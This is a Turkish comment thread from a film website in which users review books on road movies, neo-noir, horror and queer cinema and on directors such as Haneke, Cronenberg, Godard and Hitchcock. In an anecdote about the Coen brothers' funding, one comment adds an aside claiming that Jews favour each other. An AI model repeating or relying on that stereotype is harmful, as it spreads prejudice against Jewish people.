    Okaliptus hocam, şu “dünya sinema tarihi” kitabının etkiket fiyatını arkadaşa gösterdim; (tepkisini merak ettim:) etiketteki fiyatı görünce -bana dönüp: “parayı yolda buluyoruz sanki, maaşımın yarısı anasını satayım” dedi..gülme krizine girdim, ama sanırım ağlanacak bir durum..
    Yol filmleriyle alakalı bir kitap yakın zamanda elime geçebilir, eğer geçerse burada paylaşırım..

    Lyotard´ın (sevmem bu adamı) dediği gibi “..bu bir durgunlaşma (baudrillard´a göre sanat kendini tekrar ediyor..) dönemi..”
    fransızlar ve yunanlılar da olmasa kaliteli film izleyemeceğiz..Yunanlılar da sanki İran sineması gibi bir tekrara girdi gibi..(Belli bir çizgi doğrultusunda ilerlemek başka konu sıkıntısı çekmek başka..)

    -Haneke´yle alakalı everest´ten çıkan kitaba aGORA´dan çıkan Haneke´yi tercih ederim..-
    Haneke demişken, önceden de belirtmiştim, son filmi internet ve medya üzerineydi..Hata yapmamak ve işi aceleye getirmemek adına temkinli ve sağlam davranıyor sanki Haneke..
    Dikkat ederseniz 3-4 yılda film çeken bir yönetmen ve Kurdun Günü hariç diğer filmlerinde KUBRİCK kadar detaycı oluşu göze rahatlıkla çarpıyor..
    BEYAZ Bant hariç (içerikten çok biçemin öne çıktığı yumuşak bir işti bana göre) çarpılmadığım filmi yok..

    Cronenberg ve Coen´lerle alakalı da birkaç birşey okudum..
    Coen biraderler´ İlk filmleri Kansız´ın fragmanını 100 zengin yahudi iş adamı´na göstermişler ve onlardan maddi yardım talep etmişler, (yahudiler kendilerini tutar ve kayırır bunu bilirsiniz….)onlar da bu teklifi hoş karşılamış ve kabul etmişler.

    Cronenberg´le alakalı ise belki de bilinmesi gereken en önemli nokta Lynch gibi muğlak, sembolik, kafa karıştırıcı ve bulmacalı bir üslup kullanmak yerine daha sade ve daha direkt bir üslup kullanmaları..
    Zaten kendisi “LYNCH GİBİ YÖNETMENLERİ ANLIYORUM, AMA BEN DAHA SADE VE DİREKT OLMAYI SEVİYORUM” gibi bir söylemde bulunmuştu..
    Crash ve Shivers ne muhteşem filmlerdi öyle..(Özellikle Shivers filminde aklıma Schopenhauer gelir:)

  • Jef _ Costello diyor ki:

    Allah kahretsin, bir kitap için neden 50 tl vermek durumundayım ve 35 km yol gidip 10 km yürüyüp sonunda kitap sahibinin kaprislerini ve malav okumalarını dinlemeliyim?
    yol parası 9 tl, kitap normalde 30 tl ama satıcı 40 tl´ye satmaya çalışıyor ..ve üstüne üstelik ortalıkta (mekanda) kitap yok.:)
    İşte böyle..neyse en sevdiğim 10 yol filmini burda paylaşayım da moralim yerine gelsin:

    1-)Lez rendez vous d´Anna
    2-)Kings Of The Road
    3-)Sans Toit Ni Loi
    4-)Scarecrow
    5-)Badlands
    6-)Messidor
    7-)Lost Highway
    8-)Crash (1996)
    9-)El Topo
    10-)Week End (1967)

    **

    60´´lara uğramalıyız ve geleneksel listeleri çok boş verdik yahu.

  • Jef _ Costello diyor ki:

    ->Altı kırkbeş yayınevinden çıkan KAYIP OTOBANLAR adlı yol filmi meraklılarının başçucu kitabında 3-5 özel film yer almıyor..Almanya’dan Akerman’ın Anna’nın Geceleri, İsviçre’den Tanner’in Messidor’ ve Fransa’dan Varda’nın Sans Toit Ni Loi, Amerika’dan Scarecrow en önemlileri..Stand By Me filminden de sanırım hiç bahsedilmiyor..
    Özellikle El topo, Crash, Week End (Godart) Crash (cronenberg) Badlands filmlerine geniş yer verilmesi oldukça hoşuma gitti..
    Çok sevdiğim The Hithcer (1986) filmini de es geçmemiş yazarlar..ve tabiki Hollanda Yapım Spoorloos ..Kitabı tavsiye ederim ancak yukarıda saydığım filmlerin isminin bile geçmemesi büyük kayıp bence..Buna burun kıvırabilecekler için şahane bir kaynak..
    Yazarların amerikan yol sinemasına bu kadar ağırlık vermesi hoşuma gitmedi..
    **

    ->Kalkedon yayınlarından çıkan “Eşcinsel Sineması Tarihi – Sinemada Görünür Olmak” adlı çalışma pek değil hiç hoşuma gitmedi..Araki’nin the Living End (yaşamın dibi), kanada yapım Lost And Delirious ve israil filmi Eyes Wide Open filmlerini bu kitapta göremedim..(belki araki’ filmleri vardır tam hatırlamıyorum..)çok eksik var kitapta..ama sevdiğim boy dont cry, transamerica, the crying game, brokeback dağı ve cuesta’nun l.i.e filmi incelemeleri hoşuma gitti diyebilirim..Okuyun derim, ama arşivlik mi diye sorarsanız cevabım kesinlikle hayır olur, hem de bu fiyata (26 tl, yuh!)
    **

    ->Kalkedon yayınlarından “Neo-Noir Filmler” -Douglas Keesey- kitabı okunabilecek -tavsiye edilecek bir kitap..Özellikle Following, Point Blank, Collateral, Old Boy yorumlarını oldukça beğendim..Yazarın Le Samourai filminde Jef Costello’nun aşkı için kendini imha ettiğini düşünmesine ise acayip güldüm..Jef sadece değer verebilir, aşırıya asla kaçmaz.Kendini imha ediyorsa da bu birini sevdiği için değil, birini öldürmek istemediğini herkese kanıtlamak içindir..Yazarın kitapta yorumladığı film sayısı kısıtlı..Ben özellikle İhtiyarlara Yer yok filmini aradım kitapta ama yoktu, Kansız yorumunu da beğenmedim..Yazar ktiabın sonunda birçok neo-noir örneği veriyor (sadece tavsiye niteliğinde)..Bunların arasında arjantin yapımı El Aura (2005) en dikkat çekici olanı bence..(Bağımsız Brick de unutulacak gibi değil..)Okuyun ve geçin; kapsamlı bir çalışma değil çünkü..
    **

    ->Kalkedon yayınlarından “Korku Sineması” -Colin Odell , Michelle Blanc - adlı kitap ise genelde klasik korku filmlerini ele almış..Her ülke ve coğrafyadan birkaç film var..Ama genelde Amerika ağırlıklı..Korku sinemasını epeydir takip edenler için boş bir kitap olacaktır bu..Çünkü bu alanda aşırı nitelikli film var..-De vierde man (1983) filminin olmadığı (incelenmediği) kitabı ne yapayım ben..-ve kitap bu fazlalığı kaldıramamış..Oku ve geç..
    not:Japonya’dan Onibaba filmine yer verilmesi yerinde olmuş, çok büyük film..
    **

    -> Agora’dan çıkan Coen Kardeşler kitabında sanırım İhtiyarlara yer Yok’la ilgili bir söyleşi-inceleme-yorum yok..

    ->”Cronenberg: incelenmesi gereken bir vaka..”

  • okaliptus80 diyor ki:

    Güzel bir kaynak oluşmuş burada.

    “Un metteur en ordre: Robert Bresson”u indirtilecekler listesine aldım, hafta sonu siparişini vereceğim. Teşekkürler Jef.
    Buna benzer Pasolini’nin “La rabbia”sı (1963) var. 2000′lerde restore edilmiş halini izlemiştim ben, festivallerde gösterilmişti. Kadının durumundan italyan solunun Hıristiyanlık ile malul yüzüne dek pek çok konuyu eşeliyordu yönetmen.

    - Yordam Kitap’tan çıkan “İsyan ve Devrim Filmleri”… Politik Sinema’nın köşe taşı filmlerinden bir değerlendirmeler kolajı şeklinde.

    Bu arada… Üstlerde yazdığım “Çağını Sorgulayan Sinema” 2. baskıyı yapmış.

  • Jef _ Costello diyor ki:

    valla fiyatından dolayı tavsiye edemiyorum ama incelemenizi tavsiye ederim..Ben kitabı incelerken genelde “acaba yazar/lar şu filmi yazdı mı, hangi krtiterleri gözeterek yazgı, işin kolayına mı kaçtı?” gibi temel soruları sorarım da kafamda.Bu kitap hakikaten ANSİKLOPEDİ kelimesinin hakkını vermiş..YİĞİDİ ÖLDÜR…(Yalnız tek kuşkunuz daha çok popüler filmleri inceleme altına alması ve pek bilinmeyen önemli filmlerin sadece ismini vermekle yetinmiş olması..)

    Korku Sineması Ansiklopedisi
    60′lardan Günümüze

    Tuğrul Sezer
    **

    NOT: aGORA’dan çıkan Trier’le alakalı yeni kitabı tavsiye edemem..Trier sırlarını pek ortaya döken birisi değil..Sorulan sorulara Lynch gibi muğlak cevaplar veriyor..(TAMAM, filmleriyle ilgili sorulara net cevaplar vermesini bekleyemeyiz – ancak kendi görüşlerini daha samimi ve açık bir şekilde ortaya koymalı..)

    (Cronenberg’le alakalı bir kitap ne zaman çıkacak, insan hayret ediyor..SHİVERS, VİDEODROME, CRASH..Adam daha ne yapacak kayıtlara geçmek için:)

  • okaliptus80 diyor ki:

    “Korku Sineması Ansiklopedisi” ilgimi çekti, çekmemesi imkansız zaten. 80′leri kuşatıcı versin yeter :) Gömülü hazineler orada.
    Hemen incelemeye alayım. Teşekkürler Jef.

    Agora’nın merkezine geçen yıl gitmiştim, tesadüfen olmuştu o da. İstiklal’in orta kısmından öylesine Cihangir/Çukurcuma kısmına vurdum, karşıma bir cadde çıktı. Kaldırımın sağında yürürken bir de baktım koli koli yönetmen, hemen vitrindeki kitapların kapağından bana bakıyor. Sinema kitaplarında aşmışlar gerçekten.
    Tabelada Agora değil de Mesele Kitapçısı diye yazıyor yalnız.
    ———

    - “68 ve Sinema”

    Emektar çevirmen Ertan Yılmaz’ın, adından kendini ele veren politik incelemesi.

    İlk bölüm siyasi/toplumsal bir 68 şeması çizerken, 2. bölümde ise bunun sinemaya yansımaları inceleniyor.

    Amerika (ve 60/70′lerin eleştirel Amerikan Sineması)
    İtalya (ve politik İtalyan Sineması, önemli temsilcileri)
    Fransa (ve Jean-Luc Godard)

    şeklinde bir yol izleniyor.

    Godard kısmında, Dziga Vertov Grubu filmlerine geniş yer ayrılmış.

    Mesela ‘Letter to Jane’ (1972) isimli filmdeki “Jane Fonda fotoğrafı” üzerinde uzun uzun duruyorlardı, izleyenler bilir. Godard & Gorin ikilisi, fotoğraf üzerinden Vietnam’a dair semiyolojik okumalar yapıyorlar. Ee, Jane abla, sen de ne diye fotoğrafta kendini odağa alır, garibim Vietnamlıları fona koyarsın değil mi ama :)

  • okaliptus80 diyor ki:

    - “The Godfather Mitosu”

    Yazarı: Hakan Bilge

    Kitabı henüz temin edemedim çünkü yeni haberim oldu.
    Sanatlog’un da kurucusu eski dostlardan sevgili Hakan Bilge (sinefil78), kalemi ve analizi kuvvetli bir yazar. Ele aldığı filmi de geniş bir bağlama oturtur (gerek farklı disiplinlerle kurduğu ilişkiyle, gerekse sinema tarihindeki akrabalıklarıyla). Salt, yalıtık bir Baba incelemesi olmadığına eminim yani. 60/70′lerin güncel hassasiyetleri ve New Hollywood zaten elde var bir de. Bilge’nin, kuşatıcı bir gangster-noir resmi çizdiğini yordamak da güç değil. Belki “yöntem” noktasında da emsal teşkil edebilir bu.

    2015′te çıkmış kitap. İncelemesi illa ki yapılmıştır. Okuduktan sonra tadımlık küçük bir pasaj aktarmak daha iyi. Eline sağlık diyelim gıyabında, yolu açık olsun.

  • okaliptus80 diyor ki:

    Aşktan da Üstün: Hitchcock Sinemasında Kişisel Bir Gezinti”

    Godfather Mitosu’nu -üçlemeye yıllardır dönmediğim için- bekletiyorum. Hakan Bilge’nin bir başka kitabı da bu. Doruk Yayınları’ndan geçen yıl çıkmış.

    Tematik kitaplar her zaman daha meşakkatlidir çünkü genel bir çerçeveyle beraber derinleşmeyi de mutlaka dayatır. Yazar da bilgi birikimi ve sinema tarihine demlenmiş hakimiyetiyle doğrusu işinin (Notorious’un) hakkını veriyor. Hitchcock’u metinlerarası bir şemadan ve özgün bir ifade gücüyle kuşatmaya alıyor. Ama çemberi de dışa doğru genişleterek. Freudyen analizlere, bir başka cenahta casusluk alt türünün ülke sinemalarındaki geçitleri refakat edebiliyor mesela (her ne kadar Anglosakson blok fazlaca ağırlığı oluşturmuşsa da). Elbette Notorious dolayımlı. Ya da sanatların yedincisinin dedektif temsillerine, ekonomi ve sınıf örüntülü (aldıkları maaş miktarlarından bir istatistik oluşturmaya değin) detaylı bir dalış yapılabiliyor. Losey’in liberal kurumlardaki yozlaşmaları takip ettiği ve Lang tesirli erken dönem kara filmlerine (Mücrim Gönüller gibi) matuf kısımlar yine bir başka ufuk açan zenginlik. Yalnız şu önemli. Bunların hiçbiri laf olsun diye sahne almıyor. Kitap, bütünlüğü ve bağlantıları hep gözetiyor. Kuruyor.
    Bolca kullanılan film kareleriyle de analizler daha somutlaştırılıyor. Ancak bazı fotoğrafların soluk çıkmış olmasına ufak bir eleştiri getirilebilir. Yayınevleri bu konuda çok titiz olmasa gerek.

    Hitchcock’un kat kat dünyasını derinden özümsemiş bir sinema sever sevgili Bilge. Çalakalemliğin, yalınlık maskesi ardına gizlenip kutsandığı/pazarlandığı çağımızda ezber bozucu da bir kalem. Görünür ki. Araştırmacı bir ruh ve öznel damıtılmışlıklar, onda ittifak kuruyor. Kanımca aslolan da o dengeyi yakalamak, kurmak. Kolay bir iş değil.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • +Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler